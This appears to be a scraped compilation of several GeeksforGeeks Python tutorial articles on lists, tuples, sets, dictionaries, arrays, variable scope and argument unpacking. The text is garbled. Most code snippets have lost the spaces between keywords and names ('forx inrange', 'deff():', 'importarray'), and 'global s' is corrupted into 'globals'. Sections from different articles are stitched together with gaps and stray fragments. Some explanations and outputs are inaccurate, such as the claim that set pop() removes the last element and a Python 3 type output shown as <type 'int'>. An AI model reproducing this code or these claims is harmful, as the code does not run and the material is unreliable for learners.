List=['G', 'E', 'E', 'K', 'S', 'F',
'O', 'R', 'G', 'E', 'E', 'K', 'S']
print("Initial List: ")
print(List)
# Print elements of a range
# using Slice operation
Sliced_List =List[3:8]
print("\nSlicing elements in a range 3-8: ")
print(Sliced_List)
# Print elements from a
# pre-defined point to end
Sliced_List =List[5:]
print("\nElements sliced from 5th "
"element till the end: ")
print(Sliced_List)
# Printing elements from
# beginning till end
Sliced_List =List[:]
print("\nPrinting all elements using slice operation: ")
print(Sliced_List)
Output:
Initial List:
['G', 'E', 'E', 'K', 'S', 'F', 'O', 'R', 'G', 'E', 'E', 'K', 'S']
Slicing elements in a range 3-8:
['K', 'S', 'F', 'O', 'R']
Elements sliced from 5th element till the end:
['F', 'O', 'R', 'G', 'E', 'E', 'K', 'S']
Printing all elements using slice operation:
['G', 'E', 'E', 'K', 'S', 'F', 'O', 'R', 'G', 'E', 'E', 'K', 'S']
Negative index List slicing
Python3
# Creating a List
List=['G', 'E', 'E', 'K', 'S', 'F',
'O', 'R', 'G', 'E', 'E', 'K', 'S']
print("Initial List: ")
print(List)
# Print elements from beginning
# to a pre-defined point using Slice
Sliced_List =List[:-6]
print("\nElements sliced till 6th element from last: ")
print(Sliced_List)
# Print elements of a range
# using negative index List slicing
Sliced_List =List[-6:-1]
print("\nElements sliced from index -6 to -1")
print(Sliced_List)
# Printing elements in reverse
# using Slice operation
Sliced_List =List[::-1]
print("\nPrinting List in reverse: ")
print(Sliced_List)
Output:
Initial List:
['G', 'E', 'E', 'K', 'S', 'F', 'O', 'R', 'G', 'E', 'E', 'K', 'S']
Elements sliced till 6th element from last:
['G', 'E', 'E', 'K', 'S', 'F', 'O']
Elements sliced from index -6 to -1
['R', 'G', 'E', 'E', 'K']
Printing List in reverse:
['S', 'K', 'E', 'E', 'G', 'R', 'O', 'F', 'S', 'K', 'E', 'E', 'G']
List Comprehension
List comprehensions are used for creating new lists from other iterables like tuples, strings, arrays, lists, etc. A list comprehension consists of brackets containing the expression, which is executed for each element along with the for loop to iterate over each element.
Syntax:
newList = [ expression(element) for element in oldList if condition ]
Example:
Python3
# Python program to demonstrate list
# comprehension in Python
# below list contains square of all
# odd numbers from range 1 to 10
odd_square =[x **2forx inrange(1, 11) ifx %2==1]
print(odd_square)
Output:
[1, 9, 25, 49, 81]
For better understanding, the above code is similar to –
Python3
# for understanding, above generation is same as,
odd_square =[]
forx inrange(1, 11):
ifx %2==1:
odd_square.append(x**2)
print(odd_square)
Output:
[1, 9, 25, 49, 81]
Refer to the below articles to get detailed information about List Comprehension.
apply a particular function passed in its argument to all of the list elements stores the intermediate result and only returns the final summation value
Tuple is a collection of Python objects much like a list. The sequence of values stored in a tuple can be of any type, and they are indexed by integers.
Values of a tuple are syntactically separated by ‘commas’. Although it is not necessary, it is more common to define a tuple by closing the sequence of values in parentheses. This helps in understanding the Python tuples more easily.
Creating a Tuple
In Python, tuples are created by placing a sequence of values separated by ‘comma’ with or without the use of parentheses for grouping the data sequence.
Note: Creation of Python tuple without the use of parentheses is known as Tuple Packing.
Python program to demonstrate the addition of elements in a Tuple.
Python3
# Creating an empty Tuple
Tuple1 =()
print("Initial empty Tuple: ")
print(Tuple1)
# Creating a Tuple
# with the use of string
Tuple1 =('Geeks', 'For')
print("\nTuple with the use of String: ")
print(Tuple1)
# Creating a Tuple with
# the use of list
list1 =[1, 2, 4, 5, 6]
print("\nTuple using List: ")
print(tuple(list1))
# Creating a Tuple
# with the use of built-in function
Tuple1 =tuple('Geeks')
print("\nTuple with the use of function: ")
print(Tuple1)
Output:
Initial empty Tuple:
()
Tuple with the use of String:
('Geeks', 'For')
Tuple using List:
(1, 2, 4, 5, 6)
Tuple with the use of function:
('G', 'e', 'e', 'k', 's')
Creating a Tuple with Mixed Datatypes.
Tuples can contain any number of elements and of any datatype (like strings, integers, list, etc.). Tuples can also be created with a single element, but it is a bit tricky. Having one element in the parentheses is not sufficient, there must be a trailing ‘comma’ to make it a tuple.
Python3
# Creating a Tuple
# with Mixed Datatype
Tuple1 =(5, 'Welcome', 7, 'Geeks')
print("\nTuple with Mixed Datatypes: ")
print(Tuple1)
# Creating a Tuple
# with nested tuples
Tuple1 =(0, 1, 2, 3)
Tuple2 =('python', 'geek')
Tuple3 =(Tuple1, Tuple2)
print("\nTuple with nested tuples: ")
print(Tuple3)
# Creating a Tuple
# with repetition
Tuple1 =('Geeks',) *3
print("\nTuple with repetition: ")
print(Tuple1)
# Creating a Tuple
# with the use of loop
Tuple1 =('Geeks')
n =5
print("\nTuple with a loop")
fori inrange(int(n)):
Tuple1 =(Tuple1,)
print(Tuple1)
Output:
Tuple with Mixed Datatypes:
(5, 'Welcome', 7, 'Geeks')
Tuple with nested tuples:
((0, 1, 2, 3), ('python', 'geek'))
Tuple with repetition:
('Geeks', 'Geeks', 'Geeks')
Tuple with a loop
('Geeks',)
(('Geeks',),)
((('Geeks',),),)
(((('Geeks',),),),)
((((('Geeks',),),),),)
Accessing of Tuples
Tuples are immutable, and usually, they contain a sequence of heterogeneous elements that are accessed via unpacking or indexing (or even by attribute in the case of named tuples). Lists are mutable, and their elements are usually homogeneous and are accessed by iterating over the list.
Note: In unpacking of tuple number of variables on the left-hand side should be equal to a number of values in given tuple a.
Python3
# Accessing Tuple
# with Indexing
Tuple1 =tuple("Geeks")
print("\nFirst element of Tuple: ")
print(Tuple1[0])
# Tuple unpacking
Tuple1 =("Geeks", "For", "Geeks")
# This line unpack
# values of Tuple1
a, b, c =Tuple1
print("\nValues after unpacking: ")
print(a)
print(b)
print(c)
Output:
First element of Tuple:
G
Values after unpacking:
Geeks
For
Geeks
Concatenation of Tuples
Concatenation of tuple is the process of joining two or more Tuples. Concatenation is done by the use of ‘+’ operator. Concatenation of tuples is done always from the end of the original tuple. Other arithmetic operations do not apply on Tuples.
Note- Only the same datatypes can be combined with concatenation, an error arises if a list and a tuple are combined.
Slicing of a Tuple is done to fetch a specific range or slice of sub-elements from a Tuple. Slicing can also be done to lists and arrays. Indexing in a list results to fetching a single element whereas Slicing allows to fetch a set of elements.
Note- Negative Increment values can also be used to reverse the sequence of Tuples.
Python3
# Slicing of a Tuple
# Slicing of a Tuple
# with Numbers
Tuple1 =tuple('GEEKSFORGEEKS')
# Removing First element
print("Removal of First Element: ")
print(Tuple1[1:])
# Reversing the Tuple
print("\nTuple after sequence of Element is reversed: ")
print(Tuple1[::-1])
# Printing elements of a Range
print("\nPrinting elements between Range 4-9: ")
print(Tuple1[4:9])
Output:
Removal of First Element:
('E', 'E', 'K', 'S', 'F', 'O', 'R', 'G', 'E', 'E', 'K', 'S')
Tuple after sequence of Element is reversed:
('S', 'K', 'E', 'E', 'G', 'R', 'O', 'F', 'S', 'K', 'E', 'E', 'G')
Printing elements between Range 4-9:
('S', 'F', 'O', 'R', 'G')
Deleting a Tuple
Tuples are immutable and hence they do not allow deletion of a part of it. The entire tuple gets deleted by the use of del() method.
Note- Printing of Tuple after deletion results in an Error.
Python
# Deleting a Tuple
Tuple1 =(0, 1, 2, 3, 4)
delTuple1
print(Tuple1)
Traceback (most recent call last): File “/home/efa50fd0709dec08434191f32275928a.py”, line 7, in print(Tuple1) NameError: name ‘Tuple1’ is not defined
In Python, Set is an unordered collection of data type that is iterable, mutable and has no duplicate elements. The order of elements in a set is undefined though it may consist of various elements.
The major advantage of using a set, as opposed to a list, is that it has a highly optimized method for checking whether a specific element is contained in the set.
Creating a Set
Sets can be created by using the built-in set() function with an iterable object or a sequence by placing the sequence inside curly braces, separated by ‘comma’.
Note – A set cannot have mutable elements like a list or dictionary, as it is mutable.
Python3
# Python program to demonstrate
# Creation of Set in Python
# Creating a Set
set1 =set()
print("Initial blank Set: ")
print(set1)
# Creating a Set with
# the use of a String
set1 =set("GeeksForGeeks")
print("\nSet with the use of String: ")
print(set1)
# Creating a Set with
# the use of Constructor
# (Using object to Store String)
String ='GeeksForGeeks'
set1 =set(String)
print("\nSet with the use of an Object: ")
print(set1)
# Creating a Set with
# the use of a List
set1 =set(["Geeks", "For", "Geeks"])
print("\nSet with the use of List: ")
print(set1)
Output:
Initial blank Set:
set()
Set with the use of String:
{'e', 'r', 'k', 'o', 'G', 's', 'F'}
Set with the use of an Object:
{'r', 'o', 'e', 'F', 's', 'k', 'G'}
Set with the use of List:
{'Geeks', 'For'}
A set contains only unique elements but at the time of set creation, multiple duplicate values can also be passed. Order of elements in a set is undefined and is unchangeable. Type of elements in a set need not be the same, various mixed up data type values can also be passed to the set.
Python3
# Creating a Set with
# a List of Numbers
# (Having duplicate values)
set1 =set([1, 2, 4, 4, 3, 3, 3, 6, 5])
print("\nSet with the use of Numbers: ")
print(set1)
# Creating a Set with
# a mixed type of values
# (Having numbers and strings)
set1 =set([1, 2, 'Geeks', 4, 'For', 6, 'Geeks'])
print("\nSet with the use of Mixed Values")
print(set1)
Output:
Set with the use of Numbers:
{1, 2, 3, 4, 5, 6}
Set with the use of Mixed Values
{1, 2, 4, 'Geeks', 6, 'For'}
Adding Elements to a Set
Using add() method
Elements can be added to the Set by using built-in add() function. Only one element at a time can be added to the set by using add() method, loops are used to add multiple elements at a time with the use of add() method.
Note – Lists cannot be added to a set as elements because Lists are not hashable whereas Tuples can be added because tuples are immutable and hence Hashable.
Python3
# Python program to demonstrate
# Addition of elements in a Set
# Creating a Set
set1 =set()
print("Initial blank Set: ")
print(set1)
# Adding element and tuple to the Set
set1.add(8)
set1.add(9)
set1.add((6,7))
print("\nSet after Addition of Three elements: ")
print(set1)
# Adding elements to the Set
# using Iterator
fori inrange(1, 6):
set1.add(i)
print("\nSet after Addition of elements from 1-5: ")
print(set1)
Output:
Initial blank Set:
set()
Set after Addition of Three elements:
{8, 9, (6, 7)}
Set after Addition of elements from 1-5:
{1, 2, 3, (6, 7), 4, 5, 8, 9}
Using update() method
For addition of two or more elements Update() method is used. The update() method accepts lists, strings, tuples as well as other sets as its arguments. In all of these cases, duplicate elements are avoided.
Python3
# Python program to demonstrate
# Addition of elements in a Set
# Addition of elements to the Set
# using Update function
set1 =set([ 4, 5, (6, 7)])
set1.update([10, 11])
print("\nSet after Addition of elements using Update: ")
print(set1)
Output:
Set after Addition of elements using Update:
{10, 11, 4, 5, (6, 7)}
Accessing a Set
Set items cannot be accessed by referring to an index, since sets are unordered the items has no index. But you can loop through the set items using a for loop, or ask if a specified value is present in a set, by using the in keyword.
Python3
# Python program to demonstrate
# Accessing of elements in a set
# Creating a set
set1 =set(["Geeks", "For", "Geeks"])
print("\nInitial set")
print(set1)
# Accessing element using
# for loop
print("\nElements of set: ")
fori inset1:
print(i, end=" ")
# Checking the element
# using in keyword
print("Geeks"inset1)
Output:
Initial set:
{'Geeks', 'For'}
Elements of set:
Geeks For
True
Removing elements from the Set
Using remove() method or discard() method
Elements can be removed from the Set by using built-in remove() function but a KeyError arises if element doesn’t exist in the set. To remove elements from a set without KeyError, use discard(), if the element doesn’t exist in the set, it remains unchanged.
Python3
# Python program to demonstrate
# Deletion of elements in a Set
# Creating a Set
set1 =set([1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12])
print("Initial Set: ")
print(set1)
# Removing elements from Set
# using Remove() method
set1.remove(5)
set1.remove(6)
print("\nSet after Removal of two elements: ")
print(set1)
# Removing elements from Set
# using Discard() method
set1.discard(8)
set1.discard(9)
print("\nSet after Discarding two elements: ")
print(set1)
# Removing elements from Set
# using iterator method
fori inrange(1, 5):
set1.remove(i)
print("\nSet after Removing a range of elements: ")
print(set1)
Output:
Initial Set:
{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}
Set after Removal of two elements:
{1, 2, 3, 4, 7, 8, 9, 10, 11, 12}
Set after Discarding two elements:
{1, 2, 3, 4, 7, 10, 11, 12}
Set after Removing a range of elements:
{7, 10, 11, 12}
Using pop() method
Pop() function can also be used to remove and return an element from the set, but it removes only the last element of the set. Note – If the set is unordered then there’s no such way to determine which element is popped by using the pop() function.
Python3
# Python program to demonstrate
# Deletion of elements in a Set
# Creating a Set
set1 =set([1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12])
print("Initial Set: ")
print(set1)
# Removing element from the
# Set using the pop() method
set1.pop()
print("\nSet after popping an element: ")
print(set1)
Output:
Initial Set:
{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}
Set after popping an element:
{2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}
Using clear() method
To remove all the elements from the set, clear() function is used.
Python3
#Creating a set
set1 =set([1,2,3,4,5])
print("\n Initial set: ")
print(set1)
# Removing all the elements from
# Set using clear() method
set1.clear()
print("\nSet after clearing all the elements: ")
print(set1)
Output:
Initial set:
{1, 2, 3, 4, 5}
Set after clearing all the elements:
set()
Frozen sets in Python are immutable objects that only support methods and operators that produce a result without affecting the frozen set or sets to which they are applied. While elements of a set can be modified at any time, elements of the frozen set remain the same after creation.
If no parameters are passed, it returns an empty frozenset.
Dictionary in Python is an unordered collection of data values, used to store data values like a map, which, unlike other data types that hold only a single value as an element, Dictionary holds key:value pair. Key-Value is provided in the dictionary to make it more optimised.
Creating a Dictionary
In Python, a dictionary can be created by placing a sequence of elements within curly {} braces, separated by ‘comma’. Dictionary holds pairs of values, one being the Key and the other corresponding pair element being its Key:value. Values in a dictionary can be of any data type and can be duplicated, whereas keys can’t be repeated and must be immutable.
Note – Dictionary keys are case sensitive, the same name but different cases of Key will be treated distinctly.
Python3
# Creating a Dictionary
# with Integer Keys
Dict={1: 'Geeks', 2: 'For', 3: 'Geeks'}
print("\nDictionary with the use of Integer Keys: ")
print(Dict)
# Creating a Dictionary
# with Mixed keys
Dict={'Name': 'Geeks', 1: [1, 2, 3, 4]}
print("\nDictionary with the use of Mixed Keys: ")
print(Dict)
Output
Dictionary with the use of Integer Keys:
{1: 'Geeks', 2: 'For', 3: 'Geeks'}
Dictionary with the use of Mixed Keys:
{'Name': 'Geeks', 1: [1, 2, 3, 4]}
Dictionary can also be created by the built-in function dict(). An empty dictionary can be created by just placing to curly braces{}.
Python3
# Creating an empty Dictionary
Dict={}
print("Empty Dictionary: ")
print(Dict)
# Creating a Dictionary
# with dict() method
Dict=dict({1: 'Geeks', 2: 'For', 3:'Geeks'})
print("\nDictionary with the use of dict(): ")
print(Dict)
# Creating a Dictionary
# with each item as a Pair
Dict=dict([(1, 'Geeks'), (2, 'For')])
print("\nDictionary with each item as a pair: ")
print(Dict)
Output
Empty Dictionary:
{}
Dictionary with the use of dict():
{1: 'Geeks', 2: 'For', 3: 'Geeks'}
Dictionary with each item as a pair:
{1: 'Geeks', 2: 'For'}
In Python Dictionary, the addition of elements can be done in multiple ways. One value at a time can be added to a Dictionary by defining value along with the key e.g. Dict[Key] = ‘Value’. Updating an existing value in a Dictionary can be done by using the built-in update() method. Nested key values can also be added to an existing Dictionary.
Note- While adding a value, if the key-value already exists, the value gets updated otherwise a new Key with the value is added to the Dictionary.
In order to access the items of a dictionary refer to its key name. Key can be used inside square brackets.
Python3
# Python program to demonstrate
# accessing a element from a Dictionary
# Creating a Dictionary
Dict={1: 'Geeks', 'name': 'For', 3: 'Geeks'}
# accessing a element using key
print("Accessing a element using key:")
print(Dict['name'])
# accessing a element using key
print("Accessing a element using key:")
print(Dict[1])
Output
Accessing a element using key:
For
Accessing a element using key:
Geeks
There is also a method called get() that will also help in accessing the element from a dictionary.This method accepts key as argument and returns the value.
Python3
# Creating a Dictionary
Dict={1: 'Geeks', 'name': 'For', 3: 'Geeks'}
# accessing a element using get()
# method
print("Accessing a element using get:")
print(Dict.get(3))
Output
Accessing a element using get:
Geeks
Accessing an element of a nested dictionary
In order to access the value of any key in the nested dictionary, use indexing [] syntax.
Python3
# Creating a Dictionary
Dict={'Dict1': {1: 'Geeks'},
'Dict2': {'Name': 'For'}}
# Accessing element using key
print(Dict['Dict1'])
print(Dict['Dict1'][1])
print(Dict['Dict2']['Name'])
Output
{1: 'Geeks'}
Geeks
For
Dictionary methods
clear() – Remove all the elements from the dictionary
copy() – Returns a copy of the dictionary
get() – Returns the value of specified key
items() – Returns a list containing a tuple for each key value pair
keys() – Returns a list containing dictionary’s keys
pop() – Remove the element with specified key
popitem() – Removes the last inserted key-value pair
update() – Updates dictionary with specified key-value pairs
values() – Returns a list of all the values of dictionary
An array is a collection of items stored at contiguous memory locations. The idea is to store multiple items of the same type together. This makes it easier to calculate the position of each element by simply adding an offset to a base value, i.e., the memory location of the first element of the array (generally denoted by the name of the array). For simplicity, we can think of an array a fleet of stairs where on each step is placed a value (let’s say one of your friends). Here, you can identify the location of any of your friends by simply knowing the count of the step they are on. Array can be handled in Python by a module named array. They can be useful when we have to manipulate only a specific data type values. A user can treat lists as arrays. However, user cannot constraint the type of elements stored in a list. If you create arrays using the array module, all elements of the array must be of the same type.
Creating a Array
Array in Python can be created by importing array module. array(data_type, value_list) is used to create an array with data type and value list specified in its arguments.
Python3
# Python program to demonstrate
# Creation of Array
# importing "array" for array creations
importarray as arr
# creating an array with integer type
a =arr.array('i', [1, 2, 3])
# printing original array
print("The new created array is : ", end =" ")
fori inrange(0, 3):
print(a[i], end =" ")
print()
# creating an array with float type
b =arr.array('d', [2.5, 3.2, 3.3])
# printing original array
print("The new created array is : ", end =" ")
fori inrange(0, 3):
print(b[i], end =" ")
Output :
The new created array is : 1 2 3
The new created array is : 2.5 3.2 3.3
Some of the data types are mentioned below which will help in creating an array of different data types.
Adding Elements to a Array
Elements can be added to the Array by using built-in insert() function. Insert is used to insert one or more data elements into an array. Based on the requirement, a new element can be added at the beginning, end, or any given index of array. append() is also used to add the value mentioned in its arguments at the end of the array.
Python3
# Python program to demonstrate
# Adding Elements to a Array
# importing "array" for array creations
importarray as arr
# array with int type
a =arr.array('i', [1, 2, 3])
print("Array before insertion : ", end =" ")
fori inrange(0, 3):
print(a[i], end =" ")
print()
# inserting array using
# insert() function
a.insert(1, 4)
print("Array after insertion : ", end =" ")
fori in(a):
print(i, end =" ")
print()
# array with float type
b =arr.array('d', [2.5, 3.2, 3.3])
print("Array before insertion : ", end =" ")
fori inrange(0, 3):
print(b[i], end =" ")
print()
# adding an element using append()
b.append(4.4)
print("Array after insertion : ", end =" ")
fori in(b):
print(i, end =" ")
print()
Output :
Array before insertion : 1 2 3
Array after insertion : 1 4 2 3
Array before insertion : 2.5 3.2 3.3
Array after insertion : 2.5 3.2 3.3 4.4
Accessing elements from the Array
In order to access the array items refer to the index number. Use the index operator [ ] to access an item in a array. The index must be an integer.
Python3
# Python program to demonstrate
# accessing of element from list
# importing array module
importarray as arr
# array with int type
a =arr.array('i', [1, 2, 3, 4, 5, 6])
# accessing element of array
print("Access element is: ", a[0])
# accessing element of array
print("Access element is: ", a[3])
# array with float type
b =arr.array('d', [2.5, 3.2, 3.3])
# accessing element of array
print("Access element is: ", b[1])
# accessing element of array
print("Access element is: ", b[2])
Output :
Access element is: 1
Access element is: 4
Access element is: 3.2
Access element is: 3.3
Removing Elements from the Array
Elements can be removed from the array by using built-in remove() function but an Error arises if element doesn’t exist in the set. Remove() method only removes one element at a time, to remove range of elements, iterator is used. pop() function can also be used to remove and return an element from the array, but by default it removes only the last element of the array, to remove element from a specific position of the array, index of the element is passed as an argument to the pop() method. Note – Remove method in List will only remove the first occurrence of the searched element.
Python3
# Python program to demonstrate
# Removal of elements in a Array
# importing "array" for array operations
importarray
# initializing array with array values
# initializes array with signed integers
arr =array.array('i', [1, 2, 3, 1, 5])
# printing original array
print("The new created array is : ", end ="")
fori inrange(0, 5):
print(arr[i], end =" ")
print("\r")
# using pop() to remove element at 2nd position
print("The popped element is : ", end ="")
print(arr.pop(2))
# printing array after popping
print("The array after popping is : ", end ="")
fori inrange(0, 4):
print(arr[i], end =" ")
print("\r")
# using remove() to remove 1st occurrence of 1
arr.remove(1)
# printing array after removing
print("The array after removing is : ", end ="")
fori inrange(0, 3):
print(arr[i], end =" ")
Output:
The new created array is : 1 2 3 1 5
The popped element is : 3
The array after popping is : 1 2 1 5
The array after removing is : 2 1 5
Slicing of a Array
In Python array, there are multiple ways to print the whole array with all the elements, but to print a specific range of elements from the array, we use Slice operation. Slice operation is performed on array with the use of colon(:). To print elements from beginning to a range use [:Index], to print elements from end use [:-Index], to print elements from specific Index till the end use [Index:], to print elements within a range, use [Start Index:End Index] and to print whole List with the use of slicing operation, use [:]. Further, to print whole array in reverse order, use [::-1].
Python3
# Python program to demonstrate
# slicing of elements in a Array
# importing array module
importarray as arr
# creating a list
l =[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
a =arr.array('i', l)
print("Initial Array: ")
fori in(a):
print(i, end =" ")
# Print elements of a range
# using Slice operation
Sliced_array =a[3:8]
print("\nSlicing elements in a range 3-8: ")
print(Sliced_array)
# Print elements from a
# pre-defined point to end
Sliced_array =a[5:]
print("\nElements sliced from 5th "
"element till the end: ")
print(Sliced_array)
# Printing elements from
# beginning till end
Sliced_array =a[:]
print("\nPrinting all elements using slice operation: ")
print(Sliced_array)
Output
Initial Array:
1 2 3 4 5 6 7 8 9 10
Slicing elements in a range 3-8:
array('i', [4, 5, 6, 7, 8])
Elements sliced from 5th element till the end:
array('i', [6, 7, 8, 9, 10])
Printing all elements using slice operation:
array('i', [1, 2, 3, 4, 5, 6, 7, 8, 9, 10])
Output :
Initial Array:
1 2 3 4 5 6 7 8 9 10
Slicing elements in a range 3-8:
array('i', [4, 5, 6, 7, 8])
Elements sliced from 5th element till the end:
array('i', [6, 7, 8, 9, 10])
Printing all elements using slice operation:
array('i', [1, 2, 3, 4, 5, 6, 7, 8, 9, 10])
Searching element in a Array
In order to search an element in the array we use a python in-built index() method. This function returns the index of the first occurrence of value mentioned in arguments.
Python3
# Python code to demonstrate
# searching an element in array
# importing array module
importarray
# initializing array with array values
# initializes array with signed integers
arr =array.array('i', [1, 2, 3, 1, 2, 5])
# printing original array
print("The new created array is : ", end ="")
fori inrange(0, 6):
print(arr[i], end =" ")
print("\r")
# using index() to print index of 1st occurrence of 2
print("The index of 1st occurrence of 2 is : ", end ="")
print(arr.index(2))
# using index() to print index of 1st occurrence of 1
print("The index of 1st occurrence of 1 is : ", end ="")
print(arr.index(1))
Output:
The new created array is : 1 2 3 1 2 5
The index of 1st occurrence of 2 is : 1
The index of 1st occurrence of 1 is : 0
Updating Elements in a Array
In order to update an element in the array we simply reassign a new value to the desired index we want to update.
Python3
# Python code to demonstrate
# how to update an element in array
# importing array module
importarray
# initializing array with array values
# initializes array with signed integers
arr =array.array('i', [1, 2, 3, 1, 2, 5])
# printing original array
print("Array before updation : ", end ="")
fori inrange(0, 6):
print(arr[i], end =" ")
print("\r")
# updating a element in a array
arr[2] =6
print("Array after updation : ", end ="")
fori inrange(0, 6):
print(arr[i], end =" ")
print()
# updating a element in a array
arr[4] =8
print("Array after updation : ", end ="")
fori inrange(0, 6):
print(arr[i], end =" ")
Output:
Array before updation : 1 2 3 1 2 5
Array after updation : 1 2 6 1 2 5
Array after updation : 1 2 6 1 8 5
My Personal Notesarrow_drop_up
Python | Set 2 (Variables, Expressions, Conditions and Functions)
Introduction to Python has been dealt with in this article. Now, let us begin with learning python.
Running your First Code in Python Python programs are not compiled, rather they are interpreted. Now, let us move to writing a python code and running it. Please make sure that python is installed on the system you are working on. If it is not installed, download it from here. We will be using python 2.7.
Making a Python file: Python files are stored with the extension “.py”. Open a text editor and save a file with the name “hello.py”. Open it and write the following code:
Python3
print("Hello World")
# Notice that NO semi-colon is to be used
Reading the file contents: Linux System – Move to the directory from the terminal where the created file (hello.py) is stored by using the ‘cd’ command and then type the following in the terminal :
python hello.py
Windows system – Open command prompt and move to the directory where the file is stored by using the ‘cd’ command and then run the file by writing the file name as a command.
Variables in Python Variables need not be declared first in python. They can be used directly. Variables in python are case-sensitive as most of the other programming languages.
Example:
Python3
a =3
A =4
print(a)
print(A)
The output is :
3
4
Expressions in Python Arithmetic operations in python can be performed by using arithmetic operators and some of the in-built functions.
Python3
a =2
b =3
c =a +b
print(c)
d =a *b
print(d)
The output is :
5
6
Conditions in Python Conditional output in python can be obtained by using if-else and elif (else if) statements.
Python3
a =3
b =9
ifb %a ==0:
print("b is divisible by a")
elifb +1==10:
print("Increment in b produces 10")
else:
print("You are in else statement")
The output is :
b is divisible by a
Functions in Python A function in python is declared by the keyword ‘def’ before the name of the function. The return type of the function need not be specified explicitly in python. The function can be invoked by writing the function name followed by the parameter list in the brackets.
Python3
# Function for checking the divisibility
# Notice the indentation after function declaration
# and if and else statements
defcheckDivisibility(a, b):
ifa %b ==0:
print("a is divisible by b")
else:
print("a is not divisible by b")
#Driver program to test the above function
checkDivisibility(4, 2)
The output is :
a is divisible by b
So, python is a very simplified and less cumbersome language to code in. This easiness of python is itself promoting its wide use.
This article has been contributed by Nikhil Kumar Singh. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
What is the maximum possible value of an integer in Python ?
# A Python program to demonstrate that we can store
# large numbers in Python
x =10000000000000000000000000000000000000000000
x =x +1
print(x)
Output :
10000000000000000000000000000000000000000001
In Python, value of an integer is not restricted by the number of bits and can expand to the limit of the available memory (Sources : this and this). Thus we never need any special arrangement for storing large numbers (Imagine doing above arithmetic in C/C++). As a side note, in Python 3, there is only one type “int” for all type of integers. In Python 2.7. there are two separate types “int” (which is 32 bit) and “long int” that is same as “int” of Python 3.x, i.e., can store arbitrarily large numbers.
Python
# A Python program to show that there are two types in
# Python 2.7 : int and long int
# And in Python 3 there is only one type : int
x =10
print(type(x))
x =10000000000000000000000000000000000000000000
print(type(x))
Output in Python 2.7 :
<type 'int'>
<type 'long'>
Python3
# A Python3 program to show that there are two types in
# Python 2.7 : int and long int
# And in Python 3 there is only one type : int
x =10
print(type(x))
x =10000000000000000000000000000000000000000000
print(type(x))
Output in Python 3 :
<type 'int'>
<type 'int'>
We may want to try more interesting programs like below :
Python3
# Printing 100 raise to power 100
print(100**100)
This article is contributed by Abhay Rathi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
Global variables are those which are not defined inside any function and have a global scope whereas local variables are those which are defined inside a function and its scope is limited to that function only. In other words, we can say that local variables are accessible only inside the function in which it was initialized whereas the global variables are accessible throughout the program and inside every function.
Local Variables
Local variables are those which are initialized inside a function and belongs only to that particular function. It cannot be accessed anywhere outside the function. Let’s see how to create a local variable.
Example: Creating local variables
Python3
deff():
# local variable
s ="I love Geeksforgeeks"
print(s)
# Driver code
f()
Output
I love Geeksforgeeks
If we will try to use this local variable outside the function then let’s see what will happen.
Example:
Python3
deff():
# local variable
s ="I love Geeksforgeeks"
print("Inside Function:", s)
# Driver code
f()
print(s)
Output
NameError: name 's' is not defined
Global Variables
The global variables are those which are defined outside any function and which are accessible throughout the program i.e. inside and outside of every function Let’s see how to create a global variable.
Example: Defining and accessing global variables
Python3
# This function uses global variable s
deff():
print("Inside Function", s)
# Global scope
s ="I love Geeksforgeeks"
f()
print("Outside Function", s)
Output
Inside Function I love Geeksforgeeks
Outside Function I love Geeksforgeeks
The variable s is defined as the global variable and is used both inside the function as well as outside the function.
Note: As there are no locals, the value from the globals will be used.
Now, what if there is a variable with the same name initialized inside a function as well as globally. Now the question arises, will the local variable will have some effect on the global variable or vice versa, and what will happen if we change the value of variable inside of the function f()? Will it affect the globals as well? We test it in the following piece of code:
Python3
# This function has a variable with
# name same as s.
deff():
s ="Me too."
print(s)
# Global scope
s ="I love Geeksforgeeks"
f()
print(s)
Output:
Me too.
I love Geeksforgeeks.
If a variable with the same name is defined inside the scope of function as well then it will print the value given inside the function only and not the global value.
The question is, what if we try to change the value of a global variable inside the function. Let’s see it using the below example.
Example:
Python3
# This function uses global variable s
deff():
s +='GFG'
print("Inside Function", s)
# Global scope
s ="I love Geeksforgeeks"
f()
Output
UnboundLocalError: local variable 's' referenced before assignment
To make the above program work, we need to use the “global” keyword. Let’s see what this global keyword is.
Global Keyword
We only need to use the global keyword in a function if we want to do assignments or change the global variable. global is not needed for printing and accessing. Python “assumes” that we want a local variable due to the assignment to s inside of f(), so the first statement throws the error message. Any variable which is changed or created inside of a function is local if it hasn’t been declared as a global variable. To tell Python, that we want to use the global variable, we have to use the keyword “global”, as can be seen in the following example:
Example 1: Using global keyword
Python3
# This function modifies the global variable 's'
deff():
globals
s +=' GFG'
print(s)
s ="Look for Geeksforgeeks Python Section"
print(s)
# Global Scope
s ="Python is great!"
f()
print(s)
Output
Python is great! GFG
Look for Geeksforgeeks Python Section
Look for Geeksforgeeks Python Section
Now there is no ambiguity.
Example 2: Using global and local variables
Python3
a =1
# Uses global because there is no local 'a'
deff():
print('Inside f() : ', a)
# Variable 'a' is redefined as a local
defg():
a =2
print('Inside g() : ', a)
# Uses global keyword to modify global 'a'
defh():
globala
a =3
print('Inside h() : ', a)
# Global scope
print('global : ', a)
f()
print('global : ', a)
g()
print('global : ', a)
h()
print('global : ', a)
Output
global : 1
Inside f() : 1
global : 1
Inside g() : 2
global : 1
Inside h() : 3
global : 3
This article is contributed by Shwetanshu Rohatgi. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
We use two operators * (for tuples) and ** (for dictionaries).
Background Consider a situation where we have a function that receives four arguments. We want to make a call to this function and we have a list of size 4 with us that has all arguments for the function. If we simply pass a list to the function, the call doesn’t work.
Unpacking We can use * to unpack the list so that all elements of it can be passed as different parameters.
Python3
# A sample function that takes 4 arguments
# and prints the,
deffun(a, b, c, d):
print(a, b, c, d)
# Driver Code
my_list =[1, 2, 3, 4]
# Unpacking list into four arguments
fun(*my_list)
Output :
(1, 2, 3, 4)
